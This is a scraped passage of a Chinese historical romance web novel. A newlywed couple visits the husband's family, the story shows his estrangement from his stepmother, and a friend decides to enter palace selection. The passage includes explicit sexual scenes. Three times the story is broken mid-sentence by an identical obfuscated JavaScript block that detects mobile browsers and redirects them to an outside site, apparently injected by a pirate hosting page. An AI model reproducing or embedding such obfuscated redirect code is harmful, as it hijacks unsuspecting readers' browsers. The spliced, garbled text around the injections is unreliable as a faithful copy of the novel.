宗阳不苟言笑的脸露出一点笑意,很快又恢复面无表情。 沈观看他几眼,过了一会儿才让车夫启程。 这一行要几日,出抚阳的路是很颠簸的,因为几面环山,山路陡峭,姜清杳没出过远门,有些晕车了,吐了好几回才好些。 沈观便让车队放慢速度,等出了抚阳这一段路,再赶时间。 放慢速度后,姜清杳虽好些,但也是晕晕沉沉,躺倒在沈观腿上,一睡便睡半天,饿了便窝在他怀里吃些糕点,喝些茶水,偶尔掀开帘子看看窗外的风景。 姜清杳晕车晕得难受,沈观倒是心情极好的,只因为姜清杳嫌马车座又硬又冷,即便是垫了软毯,坐久了也难受,便开始喜欢窝在沈观怀里睡。 沈观便成了姜清杳软乎乎又暖烘烘的坐垫。 沈观何曾有过这样,姜清杳时时刻刻黏着他的机会,自然是高兴又享受的。 姜清杳一醒,他便笑吟吟的给她沏茶,找游记给她读,偶尔经过什么风景或是奇形怪状的远山,还能拉着姜清杳给她头头是道的说些风俗典故给她听。 姜清杳困了,他便搂着她在怀里轻拍,给她披上大髦。 他精力似乎无限好。既不困也不累。 至少姜清杳醒着的时候,他总是捧着一本书在认真的翻看,见她醒了才放下,陪她说话。 车队出了抚阳地界,走上官道,不再那么颠簸,姜清杳状态好些了,有兴致看看车窗外的风景。 她看得专心致志,沈观捧着那卷书也看得专心致志。 姜清杳看了一会儿,见沈观一本书看了一路,忍不住好奇的凑上去也要看一眼。 “你在看什么?” 沈观察觉到她动作,并未遮掩,大大方方的展示给她看。 书里一对小人姿态各异,旁边还配了字解释。 “我看看……”姜清杳看清书里内容的一瞬间,脸蛋骤红。指着沈观:“你……你!” 沈观!哪有人大白天捧着春宫画读得那么认真啊!还看了一路。 姜清杳看看这书的册子封面,依稀记得两人还未出发前那些天,沈观便捧着这本书在看了。 “沈观!你怎么大白天看这个?”姜清杳揪他的耳朵,质问。 她力道不小。 沈观疼得轻嘶了声,闭了下眼,还笑着说:“自然是有所困惑,才要从书里找答案。” 说得这么正经,不知道的还以为他在看什么圣贤书,莫非还是自己的耻度阈值太低了,姜清杳一瞬间都分不清到底自己是穿越的还是沈观是穿越的了。 但拿着假书封装着真春宫在看,古代读书人,不过如此。姜清杳哼了一声,不理他了。 沈观凑上来,低声:“清杳,你知道我困惑什么吗?” “什么?”姜清杳被他勾起好奇心,忍不住侧目。 沈观便轻笑,扬了扬手上的书,一本正经:“我想知道,怎么样才能让你也舒服,不那么疼。” 姜清杳:…… 难怪她说他这些日子这么安静,原来是打算从根源上解决姜清杳所说的问题啊。 姜清杳手心发烫,脑袋一撇,不想和他谈论这个话题了。 偏偏沈观这个时候就不懂察言观色了,他挨上来,有些兴奋地和姜清杳分享他这些日子“读书”的成果。 “清杳,我已经知道该怎么做了。先前是我不够耐心,等到了淮邑镇,我们试试……” 淮邑镇是下一个停留地,若是留宿,便是找客栈,这人甚至不愿意等到了溪金再说这些。 “唔。” 沈观眨眨眼,看着用小手捂住他嘴,一脸羞红的姜清杳。 “别说了。” 姜清杳没收了他的书。转而在他的书堆里翻出本封面写着诗集的书丢在他面前,一脸严肃:“看这个。” 沈观看看面前的书,又看看姜清杳,乖巧的翻开,姜清杳瞥了一眼,登时扑上去盖住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924026|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“沈观!你到底带了多少本!!”姜清杳真要抓狂了。 等到了淮邑镇,一行人在最好的客栈里安顿了下来,一路上都是吃糕点果腹,到了客栈酒楼,有热汤热菜,一行人吃饱喝足。 沈观说要带姜清杳去看淮邑镇地方上的猜灯谜。 “淮邑镇的灯谜很有来头。先帝还在时,太襄州府献了三个灯笼,上面有三个灯谜,心思精巧,解出来的谜底也正中先帝心意,因此得了很大一番奖赏。” 沈观紧紧牵着姜清杳的手,一边和她讲由来:“但因着是当时知府送到京城,却少有人知道那三道灯谜是淮邑镇献上去的,不过此地盛解灯谜,已成习俗了。” 快到年关,路边挂着灯笼解谜的小商贩也多了起来。 灯笼样式也多种多样,姜清杳看中几个奇形怪状的,兔子不是兔子,老虎不是老虎的。 她解了几个简单的,不想动脑子,遇到难的便戳戳沈观。 沈观解了灯谜,提给她,欲言又止。 姜清杳看他一眼就知道他想说什么,估计又是那套说辞,这都不对称能好看吗? 她先发制人:“真有趣。” 姜清杳提着灯笼在手里转。 沈观自然不会去扫她的兴,在一旁点点头,但好看什么的违心话是一句也说不出口的。 姜清杳有心捉弄他,便停下脚步,往他面前凑,抬起那盏灯笼,问他:“沈观,好不好看?” 灯笼芯是明黄色的烛火,透出来便是暖洋洋的光,打在姜清杳的侧脸上,笑靥如暖阳 有说灯下看美人,犹胜三分色,沈观却不觉得。 他抬手将那盏灯笼拿开,盯着姜清杳白净素丽的小脸,这回是发自真心:“好看。” 周遭是人来人往,熙熙攘攘的嘈杂人声,姜清杳却好像只听见这两个字,她耳根泛红,挪开视线,强自镇定:“嗯。” 回了客栈,店小二送了热水来,姜清杳沐浴过,沈观就着她用剩的水洗。 客栈没有地龙和暖炉,这样天寒的天,姜清杳却热得浑身染上一层薄汗。 原因是沈观自称从书里学会了,拉着姜清杳,吻她,细密的吻遍布./周身,雪白的肌肤都泛上粉。 姜清杳细白的双退./架在沈观肩上,锦被盖着两人,姜清杳长发散乱,沈观在锦被之中,潮热./搅弄,过了许久。 沈观上来,沉沉地低笑着看姜清杳,他唇上还泛着水择。 是姜清杳的。 姜清杳脸红得快滴血,这人还在问:“这样可以吗?”他探了一手水择。 要她怎么说? “不可以!”姜清杳又羞又恼。 嗔来的一眼,不可以的话音落下,沈观的手指绸出来,和她严丝合缝。 翌日一行车队要出发,沈观和姜清杳最后才出来,上了马车,沈观铺了软毯,问姜清杳要不要补觉。 姜清杳摇摇头:“刚睡醒。”左右坐车久了晕,一会儿还要睡。 沈观观察她脸色,见她的确精神不错,才放下心来。 一行路程,舟车劳顿,终于在第九日到了溪金县的沈府。 溪金县是太襄州府最繁盛的县镇,刚一进城,便感受到了年关人声鼎沸的热闹,路边的小吃也比抚阳更多了花样。 沈府的宅邸很气派,闹中取静,戒备森严。门口侍卫见了一队马车停下,便上前来询问,沈观先下了马车。 “是大公子回来了。”几个侍卫见了沈观,立马毕恭毕敬的行礼,有几人进去传唤,另几个人连忙帮忙搬东西。 “清杳,到了。”沈观小心翼翼地扶着姜清杳下车。 门口很快便赶来人,都对着沈观行礼,但看一眼沈观身旁那位貌美的少女,面面相觑不知道该如何称呼。 沈观挥退了这些人,带着姜清杳往内院去。 15. 第 15 章 进了沈府内宅,姜清杳立刻便感受到了和外面截然不同的氛围。 沈宅大院,侍女成群,鱼贯而行,可却都恭从沉默,没有一点声音,即使是年关,也没有一点欢声笑语,很是压抑,有些不寻常。 姜清杳不自觉地放慢脚步,和沈观更靠近些。 沈观侧目,想了想,和她解释:“这里一贯如此,待会儿清杳若是不适应,就拽一拽我的袖子,我们早些请过安便离开。” “嗯。”姜清杳有些紧张的点点头。 显然沈观应该提前去信打过招呼,两人进了厅堂,就见到了沈父沈母端坐着,见到两人来了,沈大人微微颔首。 “君珩,回来了。”沈夫人先站起来,有些激动的拉着沈观上下看看。 沈观眉目疏淡,只恭敬的问候了声安好。 姜清杳自然注意到了,心里疑惑,面上不显,在沈夫人将目光投来时,抿唇微笑着请安。 “这位便是姜县令的独女吧。清杳,我这样唤你可好?” 沈夫人又拉着她上下打量。这打量比起刚才对沈观的关心,更像是审视、挑剔。 姜清杳笑得有些脸僵时,沈夫人才收回视线,赞了声:“真是好模样。难怪君珩……” 她话未尽,沈观便冷着脸打断了,他说:“坐下说吧,一路舟车劳顿。” 沈夫人怔了一下,也道:“是,瞧我这记性,一看见你们就欢喜的说不停。” 沈观坐在姜清杳身侧,替她斟了一杯茶。 一直坐着的沈大人才开口:“你们二人新婚,我们做父母长辈的也未曾前往,还让你们舟车劳顿而来,实非我们所愿,还望你们能见谅。” 沈大人年逾四十,分明是正值中年,可头上的白发格外醒目,面容也很憔悴失意,姜清杳注意到沈大人的膝盖处盖着一层软毯。 再结合他一直未曾起身,心想当初来信上说腿脚不便的应当就是眼前这位沈大人了。 姜清杳闻言,斟酌着说:“长辈不便,我们做小辈的本就应该来请安拜访,何况我自小没有离开过抚阳,这次来溪金,也想着可以好好见识玩乐一番。” 她实在不是很擅长这样的场面,也说不来什么场面话,耳后微红,索性实话实说出了自己的感受。 沈观提及来溪金时,姜清杳当时的念头便是,都说溪金是最热闹的县镇,以往姜县令管得严,她终于可以出来好好玩一玩了,顺便给沈父沈母请个安。 她话说的诚实,在场的几个都是人精,不难听出她的话外音。 沈大人笑的宽和:“那这些日子,便让君珩多带你在外走一走。今天你们也累了,等过几日,再与族亲见面。君珩,晚些来书房见我。” 沈观嗯了一声,起身,随姜清杳敬过茶后,带她回屋休息。 沈观的院子很简单,屋内陈设也只有几样,瞧着怪冷清的。 姜清杳不由疑惑:“你往日也住在这里吗?”看着比姜府的客房还简单。 沈观不解她会有此一问,但还是回答道:“自然。搬来溪金后,都是住在这里。” “清杳,你是不是不喜欢这里?” 姜清杳回过神,一连摇头:“唔,不是,只是觉得和你在抚阳的院中陈设喜好相差有些大。” 抚阳的沈府,处处精致,两人同寝的院落更是处处巧思,陈设华贵。院中种着四季时令的花,扎着缠绕了葡萄藤的秋千,屋内是雕琢木兰的琉璃屏风,就连姜清杳用的梳妆案也是梨木镶青玉勾边,嵌着水镜。 每一样姜清杳都很喜欢。常常午歇后窝在屏风后看游记,或是和半夏芸香一起晃秋千。 沈观看了她一眼,半晌闷笑道:“清杳,那不是我的喜好。” 姜清杳更疑惑:“那是谁的?” 他自己的院子,却不是按他自己的喜好陈设的?这是什么道理。 姜清杳被他的回答弄得一头雾水,好奇的看着他。 沈观笑吟吟的,只说晚上再告诉她。他拉着姜清杳去休息,歇了一个午觉,等姜清杳睡足醒来,难得不见沈观的人影。 姜清杳便自己在院子里走了走,越看越觉得无趣,这院子里除了里屋有张红木拔步床,外间有个红漆茶案,便再没有旁的陈设了。 院子里也是一样,兴许是沈府的下人定期会清扫,除了一棵一看便扎根多年的老树,泥里连一点绿杂草都没见。 姜清杳边看,边咂舌。 暗暗点评,这算不算“家徒四壁”? 她正想着,沈观回来了。许是没想到姜清杳这一觉醒的这么快。 他怔了一瞬,快步上前,有些歉疚道:“清杳,对不起。方才我去了一趟父亲书房议事。本以为你还要睡一会儿的。” 姜清杳懵,不明白这有什么好道歉的。 但她联想到沈观往常作风,有些揣摩到他意思,斟酌着说:“沈观,你有你自己的事情,不需要时时刻刻守着我。” 沈观垂眸,低声:“你独自一人,陪着我来拜访长辈,人生地不熟,我怎么能不守着你。” 他强调:“清杳,我们是夫妻。” 沈观说完,也不管姜清杳什么反应,牵住姜清杳的手,试了试她的肌肤温度,忍不住皱眉。 “你的手好凉。” 他拉着她进屋,给她披上披风。这里的院子没生地龙,昨日下过初雪,更加寒冷。沈观又命人添了几个暖炉,捂着姜清杳的手在掌心。 慢慢地,姜清杳红着脸想抽回手来,沈观总是这样,一碰到她,或者牵着她的手,或者挨着她近一些,就开始掌心发烫,一双漂亮的眼紧紧地盯着她。 姜清杳总是回避他的眼神。 他的眼神实在不算很清白,即使是不经意间对视了一秒,姜清杳便觉得自己在沈观的眼神中好像已经不着寸缕,可以任他摆弄似的。 他的体温,气息,烫得姜清杳尾骨处都忍不住泛起一阵酥麻,痒意。 好在侍女及时的来请两人去正厅用膳,姜清杳几乎是立时便起来了。 她红着脸将自己微微敞开的衣襟扣回去,推开还恋恋不舍埋在她颈窝的沈观。 推了一下,沈观还纹丝不动。 姜清杳恼了,揪他的耳朵:“沈观!你咬疼我了!松开……” 后半句变得小小声的了。她脸红着,去拽沈观探在她衣襟中的手,又推沈观的脑袋,不许他再咬她。 沈观耳朵都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951780|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜清杳揪红了,才慢吞吞的抬头,亲了亲姜清杳的脸。 他揉揉耳朵,姜清杳被他揉咬急了,揪他耳朵的力道不小,有点疼。 他笑吟吟凑到她耳边说晚上继续。还信誓旦旦:“不会再咬疼你了。” 姜清杳红了脸,啐他,谁要和他继续! 她义正严辞的拒绝:“不要。” 沈观浑不在意,仍是漂亮的笑脸。 他偷了姜清杳袖中干净的绢帕,替她简单擦了擦那些被咬出来的濡湿痕迹,再将衣襟扣好,衣摆整理好,又把用过的,她的绢帕放在自己的袖中。 姜清杳:…… 被他偷走的第十七条绢帕! 姜清杳着恼的在心里又记一笔,不想管他。 越看越不像个正人君子。 她自己先走,沈观跟上,默默在身后看姜清杳迷了路,晕头转向,左看右看,但是拗着不问沈观。 是一个十字路口,姜清杳不知道该往左往右,她还恼着沈观不知轻重呢,怎么推都推不开。 沈观往右挪了半步。 姜清杳鼓着脸,往右边这条道走。再遇到路口,还是这样,走了几个路口,那点说不上是痒还是疼的感觉散了,姜清杳气也消得差不多了。 她正要转头去看沈观,少年已经上前靠近来,从袖中拿出一支云凤纹金的宝石步摇来,稳稳当当的戴在姜清杳的发髻间。 姜清杳眨个眼的功夫而已。 她有些惊喜,打量这支步摇,确认这是她早几个月便想要的一支宝石步摇,但姜县令的薪俸供姜清杳吃喝不愁,穿戴不缺足够,可买这些时兴的、奢靡的首饰却是不够的。 因此姜清杳只是同岳薇结伴逛琼珠楼时,拿在手上有些爱不释手过。 她没想到沈观会将这支步摇买来送她。 真是有缘。 姜清杳这样想,也这样说了。 沈观但笑,没有说话。 姜清杳戴着步摇在沈观身边转了一圈,越想越觉得有缘,同时有点好奇:“好端端的,你怎么会想起买这支步摇来送我?” 沈观点点她的衣袖,提醒她。 “偷了你的绢帕,自然要还你。” 天底下还有这样的好事儿。 一匹最寻常的布料就够姜清杳做几十块那样的绢帕,一块绢帕就能换一个想要许久的宝石步摇。 姜清杳越想越觉得划算。 再看沈观也觉得他真无愧圣贤书的教导,称得上端方君子,懂得有借有还,礼尚往来。 分明刚才还被她揣测为不像正人君子的沈观:…… 收了礼的姜清杳很好说话,配合的和沈观挽着手进了厅堂。 晚膳是小家宴,沈观没有兄弟姐妹,因此便是沈大人和沈夫人,沈观和姜清杳四人一起。 沈夫人模样较沈大人年轻许多,兼之沈大人眼神里透着的憔悴,看着并不那么般配。 但沈观眉眼间依稀可以看见点和沈夫人的几分相似,也不知道是不是保养得宜。 沈观不怎么和她说话。 沈夫人给沈观夹菜,沈观颔首,道谢,但不曾动过。 姜清杳坐在两人中间,左右为难。 16. 第 16 章 一顿饭总算结束,姜清杳终于松了口气。 回去的路上,她时不时的偷偷瞧一眼沈观。 沈观有些无奈:“想问什么?问吧。” 他这样说,姜清杳就问了,很疑惑:“你和沈夫人关系不好吗?” 天色已经渐暗了,沈观侧眸,姜清杳看不清他的神情,只感觉到他牵着自己的手更紧。 姜清杳听到他声音淡淡:“沈夫人是父亲的继室,非我生母,谈不上关系不好。只是生疏罢了,我也疲于做出母慈子孝的样子给旁人看。” 姜清杳怔了瞬,没有想到会是这样。 她以为戳到了沈观的伤心事,一时神色呐呐,像做错事一样,揪着手指不知道说什么好。 沈观也没再说话。 回了屋,姜清杳惦记着刚才的事,惴惴不安,难得主动的跑去给沈观倒水。 又忙前忙后的帮他将外衣脱了放在一旁,殷勤极了。 她按着沈观坐下,净了手开始沏茶给沈观喝。说是沏茶,实则毫无章法,但胜在美人斟茶,看着便赏心悦目。 姜清杳囫囵的倒了热水,没耐心的等了几秒,第一遍洗茶本该倒了的水,便直接沏满瓷杯,当茶水递给沈观。 少女殷勤:“沈观,喝杯茶暖暖身子。” 洁白瓷杯中还浮着杂沫浮尘。 沈观:…… 他接过,一饮而尽。 沈观没说什么,只是在姜清杳又沏了一杯打算自己喝的时候,接过她手中的紫砂茶壶,将洗茶这道的杂水倒去,重新冲泡封壶,再给姜清杳斟茶。 姜清杳看他动作,也隐隐明白过来,方才自己将应该倒掉的洗茶水递给沈观喝了。 这人也不说什么,干脆的就喝完了,只有看她自己要喝时,才阻止了。 姜清杳耳根有些红。 喝过茶,她眼一转儿,又说要给沈观捏肩。 “你也舟车劳顿,在马车上都没怎么好好睡过,肯定腰酸背疼了。”来时路上,大多是姜清杳窝在沈观怀里睡,沈观若困了,只坐着闭目小憩一会儿。 姜清杳眉眼藏着点得意,自认为体贴入微,连这样的小事儿也记着。 她心想,好一事抵坏一事,捏了肩,沈观可不许再记着她提了他的伤心事了。 少女殷殷切切的给他捏肩,一双眼亮亮的,仿佛在等沈观的夸赞。 没捏一会儿,姜清杳就有些娇气的嫌累了,想停下,可没等到沈观的表示,又有些不甘心,勉强坚持着,但已经心不在焉的,揉捏的力道约等于无,玩儿似的开始将少年的发丝缠在指尖玩。 等了半天,往日见了她总有话说的沈观,反常的一直沉默。 姜清杳没忍住,纤指戳戳沈观的耳后,无声催促。 她小声控诉:“沈观!你怎么不说话了。” 半晌又问:“是不是因为我问错话了?” 沈观垂眸闷笑起来。 少年笑得肩膀都开始抖,姜清杳才意识到不对劲,凑过去一看。 这人哪有什么伤心沉默的姿态,都快笑得见牙不见眼了。 姜清杳恼:“你故意的。” 她上一秒话音刚落,下一秒便落入沈观怀里,少年的手掌完全圈握住姜清杳的手腕,以一种绝对禁锢的姿势,将她抱在怀里。 沈观低头,额头抵着姜清杳的额头,鼻尖顶着鼻尖,彼此交缠着的是逐渐不平稳的呼吸。 沈观笑:“傻清杳。” 他一边说,一边轻轻吻了一下姜清杳的唇瓣,视线下移,眼暗下来。 少年修长的指尖缠绕住姜清杳的衣带,如她方才把玩他发丝一样。 “清杳。” 他唤她,手上动作轻巧的彻开那点黛青色系带。 姜清杳坐在他怀里,最直观的感受到他身体的变划,怎么坐都不自在,挣扎着想下去,却被他拦着。 听见他唤她,她循声抬眼,和他对视,撞上他早已染上玉色的眼。 姜清杳下意识的便想跑。 沈观轻轻的咬她耳尖,哑声:“清杳,去哪里?” 姜清杳被他低着,烫的浑身都发软,颤着声:“我,我去睡觉。” 沈观静了一瞬,抱起她。那件姜清杳很喜欢的云锦青黛的衣裙,衣襟处变得皱巴巴的。 屋内暖炉里的银炭快耗尽了,夜里又飘起细密的雨,冷得刺骨。 可沈观抱着怀里潮荭着脸的少女,两人额间都有难耐的细汗。 姜清杳被他研磨得要哭出来,纤手紧紧抓着他的肩膀,生怕自己掉下去。 “你又咬我。”嫩生生的尖儿,被他咬的涨红。 她恼他,也有样学样的咬回去,她咬沈观的耳尖,毫不留情,一个牙印浮现出来,姜清杳才满意了。 沈观疼得轻嘶,面上还是笑吟吟地,只是不动声色的松了松支撑着姜清杳的力道。 少女没了他支撑,立时便往下坠了坠。 “唔。”姜清杳泪花都泛出来,沈观却尝到甜头似的,压不住耐心,如果说先前是不紧不慢,现在就是另一个极端。 直到有水声,外面的雨下大了,雨点子砸在木窗上,明日定不是个大晴天了。 水、雨、泪。 姜清杳真得掩面,伤心得呜呜的哭出声来,沈观才慌了神的去哄她。 少女别过脸去,记恼着他刚才,暗暗发誓再也不要理他。 她已经想好了,等回到抚阳,要做的第一件事就是去找姜县令写和离书。 她发誓绝不会再看着他那张漂亮但是骗人的脸就心软了! 沈观怎么哄她,她都不理他一个字。 可见是真恼了。 姜清杳有气的,有羞的,总之羞恼交加,再加上实在不能接受自己刚才竟然…… 沈观便说什么都没用了。 他绞尽脑汁,想起个姜清杳好奇的事儿来。 “清杳,你不是想知道为什么溪金的院子和抚阳差这么多,是按谁的喜好来陈设的吗?” 趴在床里侧装睡的少女耳朵动了动。 姜清杳拗着没理沈观,等得困的快睡着了,听见沈观的声音,很轻,很轻。 似乎也怕吵了她睡觉。 “清杳,你的喜好就是我的喜好。” 姜清杳第二日醒来,依稀还记得这句话,她神色困惑,抱着锦被发呆。 直到沈观拿了新的衣裙来,她注意力被吸引,也将这事儿抛到脑后。 昨天那件弄脏了,肯定是不能穿了。 沈观拿的衣裙是件烫金的红对襟,裙摆处用金线绣了步步生花,走起路来很好看。 姜清杳一贯喜欢。 她纠结一秒,还是换上了,不过照样没有给沈观好脸色。 沈观自觉理亏,摸摸鼻子,风水轮流转,也殷勤的忙前忙后,要帮姜清杳梳发,画眉。 “我自己来。”姜清杳抿着唇。 目光掠过昨晚那处湿了的地面,尽管早没了痕迹,但姜清杳还是秀眉一压,眼不见心不烦的出了院子。 沈观问她:“要不要出府走走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955324|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “沈府没什么好玩,府里一贯沉闷,清杳,我带你去看唱戏如何?” “溪金县有处戏班子很有名。有不少名角儿。” 姜清杳勉强点点头。 这府里太压抑了,唯一称得上活泼的就只有沈观,总是笑吟吟的,可姜清杳正和他怄气,也不愿和他玩。 不如出去看唱戏。 临出府,她想起来:“我们午膳还回来吃吗?” 沈观的回答正中她下怀:“不回了,我吩咐人和父亲说过,午膳我带你去外面吃,有家酒楼的菜色你肯定喜欢。” 少年有些讨好的说,还迫不及待的说了今天的安排,一会儿先去看唱戏,等戏班子唱完,去酒楼吃午膳,听说书,解了乏后去逛溪金最繁盛的街巷,说要陪姜清杳买一些带回抚阳给姜县令还有她的好友的礼物。 姜清杳绷着的俏脸,软了一点神色。 沈观便试探性的去勾她的小指,想和她牵手。 被姜清杳毫不留情的打开。 “啪。”清脆的一声。可见是没留情的,少年白皙的手背都浮现出红色的指印来。 “清杳。”沈观眨眨眼,好似被打疼的不是他,甚至还又凑了凑:“清杳若是不解气,再打多少下都好。只要别不理我就好。” 她打他,他还冲她摇尾巴。 姜清杳有一瞬间心都软了,但想起昨晚,鼓着脸,又打了他一下。 这回就是不痛不痒了。 沈观挨近了些,观察她神情:“清杳,消气了吗?” 姜清杳抿唇:“没有。” 少年又把手递过来。 姜清杳:…… 她有些无言的抬头看了一眼沈观。 却不知道他理解成什么,眨眨眼,微微俯低身子,将那张漂亮蛊惑人的脸凑过来。 还说:“你打吧。” 姜清杳:“?” 她推开。 “干什么?” 路上都有人频频侧目了。 她的手去推他,贴在他脸上,沈观就用自己的手按着她的手,有点隐晦的怂恿她:“昨晚我惹你恼了,今天你怎么出气都好。” 话是这么说,意思也是要赔罪的意思。 但是你能不能把你眉眼间的兴奋藏一藏? 臭沈观。 姜清杳也算有些了解了,忍不住红着脸啐他:“那还便宜你了。” 沈观就笑。 她不绷着脸,愿意和他打闹,不管是骂也好,笑也好,沈观都高兴。 他跟在她后面,和她保证:“下回你早些说,我就停下了,也不会弄出来。我想了一晚,有个法子能让你同样罚我回来,你见过我狼狈,应当就不恼我了。” 说完,他凑在她耳边轻声说了几句。 姜清杳的耳朵肉眼可见的红透了。 大白天的!他在说什么啊!!! “沈观!别说了!”姜清杳玉白的脸羞红了,转身去捂他的嘴。 沈观笑,等过了会儿,找到那家戏班子,唱戏的已经咿咿呀呀的开始了。 台上的人在唱戏,台下的姜清杳看得也专注。 沈观见姜清杳耳后的红褪了些。 又问她:“好不好?” 台上戏唱到高潮,姜清杳一时挪不开眼,愣了一会儿才反应过来,羞嗔他一眼,犹豫了一下,点点头。 末了,想到什么,又补充:“若是你不像你说的那样狼狈,我还是要生气的。” 沈观点点头,和她拉勾。 17. 第 17 章 这一日过得很快,看戏班子,下馆子,逛街买东西。 沈观摆明了要请罪,姜清杳也不客气,看见喜欢的,沈观都跟在后面结账。 他从两手空空到两手再塞不下一点东西。 姜清杳还兴致勃勃的,一边盘算着:“这个送给小薇,这个给姜姒姑姑,这个给表哥……” 少年抿唇,打断她,催促:“很晚了,该回府了。” 姜清杳点头应好,沈观将她手里的东西结过账,两只手已经拎不下什么了。 姜清杳转头看见他的模样,有些不好意思,要帮他拿一些。 沈观摇头拒绝。 只催她:“快些回府,天色暗下来了。” 姜清杳被他催的手忙脚乱,回到府里,用了晚膳后,她开始清点自己买好的礼物,什么都没缺。 唯独少了一样她给表哥挑选的礼物。 姜清杳翻找一阵,也没寻到,问沈观:“沈观,你看见一枚平安扣了吗?” 沈观翻着书,闻言手上顿了顿:“没看见。” “真奇怪。”姜清杳还在找。 沈观看了一眼天色,拉住她:“别找了,可能是东西太多,忘拿了,下次再买过就是了。” 姜清杳被他一提醒:“啊,好像是,当时你催着我回府,估计是那时候忘拿了。” 沈观嗯了声:“可能吧。先睡觉。” 话是这么说,可之后几日,沈观虽还会带姜清杳出府去玩,但每逢姜清杳想起这事儿来,总是很不凑巧。 一次是沈观身上没带银两说下次。一次是姜清杳想起来了,沈观却说先去看烟花,看完烟花后,沈观没提,姜清杳也忘了这事。 一直到回抚阳这天,姜清杳也没来得及去买。 前几日沈府摆了大家宴,姜清杳和沈府一大家子都见过面请过安后,这行的任务完成,她便翘首以盼着回抚阳了。 沈夫人还想多留她们几日,言辞恳切,姜清杳一脸为难的时候,沈观生硬的说还要回书院拒绝了。 回程的马车,许是坐过一次了,姜清杳更适应些,没有来时那么难受。 到了抚阳,她歇也不歇,兴冲冲的就去找姜县令了。 把从溪金带回来的东西都一一拿出来显摆。 又吩咐人将她准备给姜姒姑姑的东西整理好送去。 姜县令听着女儿讲述这一行的事儿,又听见姜清杳格外纳闷的说:“沈观与沈夫人很生疏,可我看她们眉眼间很相似。” 姜县令拿着姜清杳给他买的礼物正爱不释手,闻言,叹口气。 “自然有几分相似,现在的沈夫人是沈观生母的嫡亲妹妹,若真算起来,沈观还得唤一声姨母。” 姜清杳瞠目,半晌才道:“难怪。” 沈观对沈夫人的态度虽说生疏,可每每接触,姜清杳都觉得沈观情绪上会有些不易察觉的反感。 姜县令又叹气:“这也怪不得沈观,他生母病逝没三个月,沈父便续娶了现在的沈夫人。” 姜清杳听得皱眉,攥紧手,颇有些忿忿:“三个月都等不了,便有这么急吗?” 她自己都没察觉到,下意识的就站在了沈观的角度想问题。 兼之她自小是姜县令独自抚养长大,生母逝后,父亲情深,从未有过续娶的念头,两厢一对比,便更觉得难过。 任谁的生母逝世,父亲不足三月便再娶,都不会好受,更别提对原本是姨母的继室有什么好脸色了。 少女眸光微动,想起什么来,更加闷闷不乐,指尖沾了点茶水,无意识的在桌案上涂画。 姜县令看在眼里。 他拍拍姜清杳的脑袋,笑道:“想这么多作甚?左右沈观自己也说关系生疏,想来他自己也很明白。” 姜清杳抿唇,嗯了声,焉巴了似儿的。 姜县令便想拿别的事吸引她注意:“对了,你去溪金这些日子,有几封信和拜帖,我让管事拿给你。” 姜清杳看了信,有一封竟是表哥寄来的,信中对她的要求隐隐提了不解,但还是提了几位家世清白,年纪轻轻就有军功在身的青年。 姜清杳看了,很满意,又吩咐人将自己带给岳薇的礼物整理出来,带着信件便迫不及待的去寻岳薇了。 她到的时候,岳薇正在练习礼仪,顶着一个装满了水的瓷碗。在寒冬天,额上都冒出了汗。 也不知道练习了多久。 县尉岳成济请来的嬷嬷看着很不好说话,见姜清杳来了,只冷冷的说:“劳烦姜小姐在一旁等候。” 姜清杳怕影响岳薇,乖乖的在一旁等候。 岳薇时不时的看她一眼。 那冷脸的嬷嬷便用手里的竹尺打她垂在身侧的手。 实打实的力道,岳薇一双纤手都被打得红肿。 她实在疼得厉害,脚尖颤了颤,头顶的水碗便应声落地,碎了一地瓷片 那嬷嬷脸立刻便沉下来说:“岳小姐,若这点礼仪都做不好,也别提什么进宫了。” 说罢,甩袖就走。 姜清杳在一旁见了,连忙去扶岳薇,她给她擦了擦汗珠,担心道:“小薇,你还好吗?” 岳薇牵起一点笑,嗯了声,拉着姜清杳去坐,又让人上了点心。 “这奶糕,你一贯爱吃的。”岳薇将装着点心的盘子朝姜清杳推了推。 她神色如常,姜清杳也没想太多,兴冲冲的拿了那封信给岳薇看。 “你瞧,这个人就是抚阳邻县的,年纪轻轻的就是百夫长了。” 岳薇静静地听她说,温柔的笑,等姜清杳说完,她才轻轻的把那封信推回去。 岳薇摇头:“清杳,我知道你好意。” 岳薇好像在看她,又好像没有,半晌后低头,告诉姜清杳:“我已经决定入宫选秀了。” “父亲已经将我的名字报上去给太襄州府,名单前几日就送到了,知府大人也已经知道。” 言外之意,这已是板上钉钉的事儿,无力转圜。 姜清杳没有想到过这种情况, 她忍不住问:“小薇,这是岳大人的意思吗?” 少女神色不解,还有一些愤怒。 岳薇却说:“不。这是我自己的意思。” 